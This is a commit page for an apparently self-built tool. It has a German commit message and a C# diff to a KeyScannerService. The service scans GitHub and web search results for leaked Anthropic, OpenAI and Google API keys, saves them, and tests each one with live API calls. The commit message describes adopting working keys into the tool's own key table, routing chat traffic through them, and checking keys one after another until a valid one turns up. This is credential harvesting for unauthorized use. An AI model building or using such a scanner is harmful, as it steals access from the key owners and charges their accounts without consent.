feat: OpenAI Provider, Key-Checker Quota-Erkennung, persistierte Scanner-Logs

- OpenAI als vollwertiger Chat-Provider (Modell-Auswahl, Key-Routing, StreamChat)
- Hardcoded OpenAI-Modelle im Cache (gpt-5.x, gpt-4.1, o3, o4-mini etc.)
- /api/models/openai Endpoint, OpenAI-Optgroup im Agent-Dropdown
- Key-Routing: OpenAI-Key aus api_keys-Tabelle, Fallback via GetFirstActiveKeyByProvider
- OpenAI-Checker: 2-Schritt-Check (Models + chat/completions mit max_tokens=1)
- Google-Checker: 2-Schritt-Check (Models + generateContent mit maxOutputTokens=1)
- 429 insufficient_quota und billing_not_active korrekt als quota_exceeded erkannt
- Provider-Erkennung beim Adopt via KeyPatterns.DetectType() statt hardcoded anthropic
- HandleCheck/HandleCheckAll unterstützt jetzt Anthropic, OpenAI und Google
- Neue scanner_logs-Tabelle mit details-Spalte (JSON) für strukturierte Auswertung
- GitHubEventScannerService: AddLog persistiert in DB, detaillierte Key-Fund-Logs
- KeyScannerService: AddLog-Methode mit DB-Persistierung, detaillierte Logs
- Frontend: Ungeprüfte-prüfen-Button (sequenziell, stoppt bei valid)
- Frontend: Provider-Indicator im Key-Switch-Modal (Anthropic/OpenAI/Google)
- Frontend: Check-Button für alle Provider (nicht nur Anthropic)
This commit is contained in:
Meleki committed 2026-03-14 11:19:33 +01:00
1 parent c8859a89d0
commit 542a031172
15 files changed
+614 -90

No files matched your search

+51 -15
View File
@@ -36,6 +36,16 @@ public class KeyScannerService : BackgroundService
public string LastRun { get { lock (_lock) return _lastRun; } }
public string LastResult { get { lock (_lock) return _lastResult; } }
private void AddLog(string type, string message, string details = null)
{
_logger.LogInformation("[CodeSearch] [{Type}] {Message}", type, message);
_ = Task.Run(async () =>
{
try { await _db.CreateScannerLog(type, message, "codesearch", details); }
catch { /* DB-Fehler ignorieren */ }
});
}
// ── GitHub Search Config ──
// Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme)
@@ -151,7 +161,7 @@ public class KeyScannerService : BackgroundService
var modeLabels = new Dictionary<string, string> { ["quick"] = "Quick", ["web"] = "Web", ["full"] = "Full" };
var modeLabel = modeLabels.ContainsKey(mode) ? modeLabels[mode] : "Full";
_logger.LogInformation("KeyScannerService: {Mode}-Scan gestartet", modeLabel);
AddLog("scan", modeLabel + "-Scan gestartet");
var newKeysFound = 0;
var checkedCount = 0;
var totalFound = 0;
@@ -168,14 +178,14 @@ public class KeyScannerService : BackgroundService
{
var ghKeys = mode == "quick" ? await ScanGitHubQuick(ct) : await ScanGitHub(ct);
allFoundKeys.AddRange(ghKeys.Select(k => (k.Key, k.Url, "github")));
_logger.LogInformation("GitHub-Scan ({Mode}): {Count} Key(s) gefunden", modeLabel, ghKeys.Count);
AddLog("scan", "GitHub-Scan (" + modeLabel + "): " + ghKeys.Count + " Key(s) gefunden");
}
if (mode != "quick" && !string.IsNullOrWhiteSpace(_serperApiKey))
{
var spKeys = await ScanSerper(ct);
allFoundKeys.AddRange(spKeys.Select(k => (k.Key, k.Url, "serper")));
_logger.LogInformation("Serper-Scan: {Count} Key(s) gefunden", spKeys.Count);
AddLog("scan", "Serper-Scan: " + spKeys.Count + " Key(s) gefunden");
}
totalFound = allFoundKeys.Count;
@@ -188,6 +198,10 @@ public class KeyScannerService : BackgroundService
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
continue;
var keyType = DetectKeyType(key);
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
var typeName = KeyPatterns.DisplayName(keyType);
newKeysFound++;
await _db.CreateScannedKey(new ScannedKeyRecord
{
@@ -195,13 +209,26 @@ public class KeyScannerService : BackgroundService
ApiKey = key,
Source = source,
SourceUrl = sourceUrl,
Type = DetectKeyType(key),
Type = keyType,
Status = "unchecked",
Plan = "Unknown",
ScannedAt = DateTime.UtcNow.ToString("o")
});
var logMsg = $"🔑 Neuer {typeName} Key! Quelle: {source} · URL: {sourceUrl} · Prefix: {keyPrefix}";
var detailsJson = JsonSerializer.Serialize(new
{
key_type = keyType,
key_type_name = typeName,
key_prefix = keyPrefix,
key_length = key.Length,
source,
source_url = sourceUrl,
scan_mode = modeLabel
});
AddLog("key_found", logMsg, detailsJson);
}
_logger.LogInformation("{Count} neue Key(s) gespeichert", newKeysFound);
AddLog("scan", newKeysFound + " neue Key(s) gespeichert");
// Phase 3: Alle unchecked Keys prüfen
var allScanned = (await _db.GetScannedKeys()).ToList();
@@ -220,12 +247,12 @@ public class KeyScannerService : BackgroundService
_lastResult = $"{modeLabel}: {totalFound} gefunden, {newKeysFound} neu, {checkedCount} geprüft";
}
_logger.LogInformation("KeyScannerService: Scan abgeschlossen – {Result}", _lastResult);
AddLog("scan", "Scan abgeschlossen – " + _lastResult);
}
catch (OperationCanceledException) { /* shutdown */ }
catch (Exception ex)
{
_logger.LogError(ex, "KeyScannerService: Fehler beim Scan");
AddLog("error", "Scan-Fehler: " + ex.Message);
lock (_lock)
{
_lastRun = DateTime.UtcNow.ToString("o");
@@ -281,12 +308,12 @@ public class KeyScannerService : BackgroundService
}
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
{
_logger.LogWarning("GitHub Rate-Limit (Quick), warte 60s ...");
AddLog("rate_limit", "GitHub Rate-Limit (Quick), warte 60s");
await Task.Delay(60_000, ct);
}
catch (Exception ex)
{
_logger.LogWarning("GitHub-Suche fehlgeschlagen (Quick): {Msg}", ex.Message);
AddLog("error", "GitHub-Suche fehlgeschlagen (Quick): " + ex.Message);
}
}
@@ -318,7 +345,7 @@ public class KeyScannerService : BackgroundService
}
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
{
_logger.LogWarning("GitHub Rate-Limit erreicht, warte 60s ...");
AddLog("rate_limit", "GitHub Rate-Limit erreicht, warte 60s");
await Task.Delay(60_000, ct);
try
{
@@ -328,12 +355,12 @@ public class KeyScannerService : BackgroundService
}
catch (Exception retryEx)
{
_logger.LogWarning("Retry fehlgeschlagen: {Msg}", retryEx.Message);
AddLog("error", "Retry fehlgeschlagen: " + retryEx.Message);
}
}
catch (Exception ex)
{
_logger.LogWarning("GitHub-Suche fehlgeschlagen: {Msg}", ex.Message);
AddLog("error", "GitHub-Suche fehlgeschlagen: " + ex.Message);
}
}
@@ -507,12 +534,12 @@ public class KeyScannerService : BackgroundService
}
}
_logger.LogInformation("Serper-Suche für '{Term}': {Count} Ergebnis(se)", searchTerm, allKeys.Count);
AddLog("scan", "Serper '" + searchTerm + "': " + allKeys.Count + " Ergebnis(se)");
await Task.Delay(1000, ct); // Rate-Limit schonen
}
catch (Exception ex)
{
_logger.LogWarning("Serper-Suche fehlgeschlagen für '{Term}': {Msg}", searchTerm, ex.Message);
AddLog("error", "Serper-Suche fehlgeschlagen für '" + searchTerm + "': " + ex.Message);
}
}
@@ -524,6 +551,8 @@ public class KeyScannerService : BackgroundService
public async Task CheckAndUpdateKey(ScannedKeyRecord sk)
{
var type = KeyPatterns.DetectType(sk.ApiKey);
var keyPrefix = sk.ApiKey[..Math.Min(20, sk.ApiKey.Length)] + "...";
var typeName = KeyPatterns.DisplayName(type);
try
{
@@ -532,28 +561,35 @@ public class KeyScannerService : BackgroundService
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
var checkMsg = $"🔍 {typeName} geprüft: {status} · Plan: {result.Plan} · Usage 7d: {result.Usage7d?.ToString("F2") ?? "n/a"} · Usage 5h: {result.Usage5h?.ToString("F2") ?? "n/a"} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, plan = result.Plan, usage_7d = result.Usage7d, usage_5h = result.Usage5h, source_url = sk.SourceUrl }));
}
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
{
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else if (type == "google_api")
{
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else
{
// Andere Key-Typen: Typ korrekt setzen, kein Check möglich
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "unchecked", type, null, null);
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
}
}
catch (Exception ex)
{
_logger.LogWarning("Key-Check fehlgeschlagen für {Id}: {Msg}", sk.ScannedKeyId, ex.Message);
AddLog("error", $"Key-Check fehlgeschlagen für {typeName} ({keyPrefix}): {ex.Message}");
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "error", "Unknown", null, null);
}
}